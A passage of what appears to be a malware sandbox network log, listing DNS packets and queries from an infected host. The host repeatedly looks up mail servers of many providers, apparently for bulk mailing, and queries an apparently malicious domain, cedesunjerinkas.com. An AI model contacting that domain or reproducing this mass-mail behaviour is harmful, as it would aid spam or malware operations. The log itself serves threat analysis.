Jan 7, 2022 15:55:44.601712942 CET	53	65418	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.626013994 CET	56832	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.643749952 CET	53	56832	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.646326065 CET	51221	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.663710117 CET	53	51221	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:45.096987963 CET	62116	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:45.113933086 CET	53	62116	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:45.127214909 CET	64426	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:45.145473957 CET	53	64426	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:45.148349047 CET	63256	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:45.165685892 CET	53	63256	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:45.470385075 CET	64368	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:45.487780094 CET	53	64368	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:45.491283894 CET	59839	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:45.511801004 CET	53	59839	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:47.665671110 CET	64021	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:47.682051897 CET	53	64021	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:47.693093061 CET	63317	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:47.719238043 CET	53	63317	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:48.265024900 CET	53133	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:48.283613920 CET	53	53133	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:48.310071945 CET	56178	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:48.335793972 CET	53	56178	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:49.206502914 CET	53426	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:49.240540981 CET	53	53426	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:49.243634939 CET	57474	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:49.260719061 CET	53	57474	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:51.243804932 CET	60352	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:51.262212038 CET	53	60352	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:51.720060110 CET	61042	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:51.738380909 CET	53	61042	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:51.748081923 CET	56277	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:51.765229940 CET	53	56277	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:54.564945936 CET	63364	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:54.583821058 CET	53	63364	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:00.234392881 CET	55444	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:00.251760006 CET	53	55444	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:04.815443993 CET	57892	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:04.815614939 CET	55173	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:04.831937075 CET	53	57892	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:04.833625078 CET	60969	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:04.834091902 CET	53	55173	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:04.835469007 CET	57894	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:04.849986076 CET	53	60969	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:04.881778955 CET	53	57894	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:04.908675909 CET	55318	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:04.925427914 CET	53	55318	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:04.940629005 CET	54141	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:04.959733009 CET	53	54141	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:04.971370935 CET	61359	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:04.989948034 CET	53	61359	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.003693104 CET	65186	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.022452116 CET	53	65186	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.024266958 CET	57593	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.064012051 CET	53	57593	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.066032887 CET	59205	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.082818031 CET	53	59205	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.084238052 CET	52098	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.102839947 CET	53	52098	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.111594915 CET	58181	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.130654097 CET	53	58181	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.142735004 CET	61727	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.163512945 CET	53	61727	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.174410105 CET	61603	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.234745979 CET	53	61603	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.236953974 CET	51594	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.302022934 CET	53	51594	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.409379005 CET	58016	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.409432888 CET	59444	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.428072929 CET	53	59444	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.428100109 CET	53	58016	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.430088997 CET	64835	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.432018995 CET	57724	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.462690115 CET	53	57724	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.463215113 CET	53	64835	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.502734900 CET	59625	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.519298077 CET	53351	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.519346952 CET	64250	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.536072969 CET	53	53351	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.536106110 CET	53	59625	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.547905922 CET	53	64250	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.549925089 CET	62794	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.551568031 CET	56324	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.551584005 CET	62843	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.567061901 CET	53	62794	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.567986965 CET	53	56324	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.568526030 CET	53	62843	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.570312977 CET	56682	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.581324100 CET	57410	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.588891029 CET	53	56682	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.594235897 CET	59043	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.600266933 CET	53	57410	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.612822056 CET	53	59043	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.613193035 CET	50190	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.615134954 CET	49859	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.631952047 CET	53	50190	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.633606911 CET	53	49859	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.643440962 CET	52856	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.659380913 CET	49922	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.662211895 CET	53	52856	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.666443110 CET	65146	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.703805923 CET	53	49922	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.721653938 CET	60397	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.730024099 CET	53	65146	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.742513895 CET	53	60397	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.752662897 CET	57082	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.771029949 CET	53	57082	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.774190903 CET	60225	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.792764902 CET	53	60225	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.796077013 CET	54353	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.823280096 CET	53	54353	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.824923992 CET	65281	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.844032049 CET	53	65281	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.847337008 CET	52429	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.866132021 CET	53	52429	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.871165991 CET	59537	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.897600889 CET	53	59537	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.908813953 CET	54285	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.927701950 CET	53	54285	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.939879894 CET	62079	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.958755016 CET	53	62079	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.971323013 CET	65490	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:05.993356943 CET	53	65490	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:05.995194912 CET	56069	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.013967037 CET	53	56069	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.017906904 CET	62085	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.039014101 CET	53	62085	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.221201897 CET	61774	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.237965107 CET	53	61774	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.240601063 CET	64899	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.268913031 CET	53	64899	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.362143040 CET	64587	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.379004955 CET	53	64587	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.393251896 CET	64474	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.412797928 CET	53	64474	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.424639940 CET	51584	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.441579103 CET	53	51584	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.451452017 CET	61651	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.477184057 CET	53	61651	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.480288982 CET	61371	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.497744083 CET	53	61371	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.500161886 CET	64238	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.519015074 CET	53	64238	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.521331072 CET	61385	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.540210962 CET	53	61385	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.542438984 CET	60194	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.560888052 CET	53	60194	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.612216949 CET	64569	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.631439924 CET	53	64569	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.643207073 CET	52552	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.663819075 CET	53	52552	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.674031973 CET	52029	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.694783926 CET	53	52029	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.706322908 CET	63292	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.721374989 CET	54770	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.725219965 CET	53	63292	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.727288008 CET	58461	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.740380049 CET	53	54770	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.744317055 CET	53	58461	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.753148079 CET	60468	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.772305965 CET	53	60468	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.787329912 CET	57632	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.807949066 CET	53	57632	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.809813976 CET	53021	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.828706026 CET	53	53021	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:06.835026979 CET	64110	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:06.864612103 CET	53	64110	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.018992901 CET	52355	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.039376974 CET	53	52355	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.049411058 CET	60335	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.049479961 CET	57558	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.068196058 CET	53	60335	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.073146105 CET	53	57558	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.074618101 CET	61822	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.080513954 CET	57317	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.101031065 CET	53	57317	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.112353086 CET	50127	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.114744902 CET	53	61822	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.116641998 CET	59749	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.135500908 CET	53	59749	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.137094021 CET	53	50127	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.138776064 CET	56801	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.155711889 CET	53	56801	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.471203089 CET	51467	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.568303108 CET	53	51467	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.580559015 CET	55944	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.597718000 CET	53	55944	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.603359938 CET	58090	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.626481056 CET	53	58090	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.800044060 CET	61715	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.818962097 CET	53	61715	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.820458889 CET	63146	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.862129927 CET	53	63146	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:07.863652945 CET	60356	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.892875910 CET	51561	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:07.899795055 CET	53	60356	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:08.014372110 CET	53	51561	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:08.018807888 CET	63174	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:08.035691023 CET	53	63174	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:08.037128925 CET	49853	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:08.053828001 CET	53	49853	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:09.111766100 CET	55237	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:09.130522966 CET	53	55237	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:09.143359900 CET	60934	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:09.163784027 CET	53	60934	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:09.169200897 CET	62682	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:09.185796976 CET	53	62682	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:09.987123966 CET	51851	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:10.009031057 CET	53	51851	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:10.018511057 CET	62173	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:10.037391901 CET	53	62173	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:10.050004005 CET	58384	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:10.069184065 CET	53	58384	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:10.080823898 CET	53567	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:10.097445965 CET	53	53567	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:10.100595951 CET	61581	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:10.129400015 CET	53	61581	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:10.207573891 CET	60871	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:10.224368095 CET	53	60871	8.8.8.8	192.168.2.3
Jan 7, 2022 15:56:13.353727102 CET	60081	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:56:13.370539904 CET	53	60081	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 7, 2022 15:54:33.686425924 CET	192.168.2.3	8.8.8.8	d005	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 7, 2022 15:53:53.977221012 CET	192.168.2.3	8.8.8.8	0x683c	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.025248051 CET	192.168.2.3	8.8.8.8	0xbc14	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.064131975 CET	192.168.2.3	8.8.8.8	0x1655	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.086687088 CET	192.168.2.3	8.8.8.8	0xd940	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.090133905 CET	192.168.2.3	8.8.8.8	0x6474	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.244391918 CET	192.168.2.3	8.8.8.8	0x8e10	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.267338991 CET	192.168.2.3	8.8.8.8	0xbb9c	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.347738028 CET	192.168.2.3	8.8.8.8	0xea2	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.377140999 CET	192.168.2.3	8.8.8.8	0xaa11	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.400496006 CET	192.168.2.3	8.8.8.8	0xaeb4	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.423537970 CET	192.168.2.3	8.8.8.8	0x9f49	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.481007099 CET	192.168.2.3	8.8.8.8	0xccaf	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.501631021 CET	192.168.2.3	8.8.8.8	0x821e	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.678909063 CET	192.168.2.3	8.8.8.8	0xc3ae	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:00.294285059 CET	192.168.2.3	8.8.8.8	0x9677	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:00.315545082 CET	192.168.2.3	8.8.8.8	0x6fe8	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:00.487051964 CET	192.168.2.3	8.8.8.8	0x821b	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:00.508871078 CET	192.168.2.3	8.8.8.8	0xa2c	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.279993057 CET	192.168.2.3	8.8.8.8	0xe42f	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:01.300864935 CET	192.168.2.3	8.8.8.8	0x2d82	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.322531939 CET	192.168.2.3	8.8.8.8	0xc422	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.457396984 CET	192.168.2.3	8.8.8.8	0x4054	Standard query (0)	bigmir.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:01.479379892 CET	192.168.2.3	8.8.8.8	0x639e	Standard query (0)	mx3.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.499496937 CET	192.168.2.3	8.8.8.8	0x309b	Standard query (0)	mx10.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.521054983 CET	192.168.2.3	8.8.8.8	0x826c	Standard query (0)	mx12.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.571116924 CET	192.168.2.3	8.8.8.8	0x52ec	Standard query (0)	mx13.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.592742920 CET	192.168.2.3	8.8.8.8	0x52a	Standard query (0)	mx1.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:02.143953085 CET	192.168.2.3	8.8.8.8	0x5e8e	Standard query (0)	inbox.lv	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:02.163610935 CET	192.168.2.3	8.8.8.8	0x61e9	Standard query (0)	mx1.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:02.186980963 CET	192.168.2.3	8.8.8.8	0x560d	Standard query (0)	mx2.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:04.001950979 CET	192.168.2.3	8.8.8.8	0x3f63	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:04.023719072 CET	192.168.2.3	8.8.8.8	0x869	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.519972086 CET	192.168.2.3	8.8.8.8	0x125c	Standard query (0)	telering.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:05.556324959 CET	192.168.2.3	8.8.8.8	0x346a	Standard query (0)	mx2c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.606375933 CET	192.168.2.3	8.8.8.8	0x6891	Standard query (0)	mx1c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.630520105 CET	192.168.2.3	8.8.8.8	0x6a8d	Standard query (0)	mx3c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.928545952 CET	192.168.2.3	8.8.8.8	0x81e0	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:05.965447903 CET	192.168.2.3	8.8.8.8	0xb90b	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.984380960 CET	192.168.2.3	8.8.8.8	0xc847	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.005608082 CET	192.168.2.3	8.8.8.8	0xd2e1	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.714092016 CET	192.168.2.3	8.8.8.8	0x270	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:06.734273911 CET	192.168.2.3	8.8.8.8	0xab4	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:07.525373936 CET	192.168.2.3	8.8.8.8	0x2276	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:07.545656919 CET	192.168.2.3	8.8.8.8	0x58b2	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:08.088872910 CET	192.168.2.3	8.8.8.8	0x15c5	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:08.109785080 CET	192.168.2.3	8.8.8.8	0x29f5	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:09.381753922 CET	192.168.2.3	8.8.8.8	0xd20f	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:09.400945902 CET	192.168.2.3	8.8.8.8	0xb5f8	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:09.422631025 CET	192.168.2.3	8.8.8.8	0x14aa	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:11.707328081 CET	192.168.2.3	8.8.8.8	0xdc99	Standard query (0)	inbox.lv	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:11.727695942 CET	192.168.2.3	8.8.8.8	0x76f9	Standard query (0)	mx2.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:11.747853041 CET	192.168.2.3	8.8.8.8	0x7964	Standard query (0)	mx1.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:13.229273081 CET	192.168.2.3	8.8.8.8	0x7654	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:13.250634909 CET	192.168.2.3	8.8.8.8	0x7b1d	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:13.709353924 CET	192.168.2.3	8.8.8.8	0x60d3	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:13.732270002 CET	192.168.2.3	8.8.8.8	0x4666	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:14.167794943 CET	192.168.2.3	8.8.8.8	0x5fa5	Standard query (0)	telering.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:14.205713034 CET	192.168.2.3	8.8.8.8	0xf9bd	Standard query (0)	mx1c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:14.227880955 CET	192.168.2.3	8.8.8.8	0xf2b9	Standard query (0)	mx3c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:14.254306078 CET	192.168.2.3	8.8.8.8	0xf5a8	Standard query (0)	mx2c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.281563997 CET	192.168.2.3	8.8.8.8	0x959c	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.312369108 CET	192.168.2.3	8.8.8.8	0xfff6	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.353494883 CET	192.168.2.3	8.8.8.8	0xca17	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)
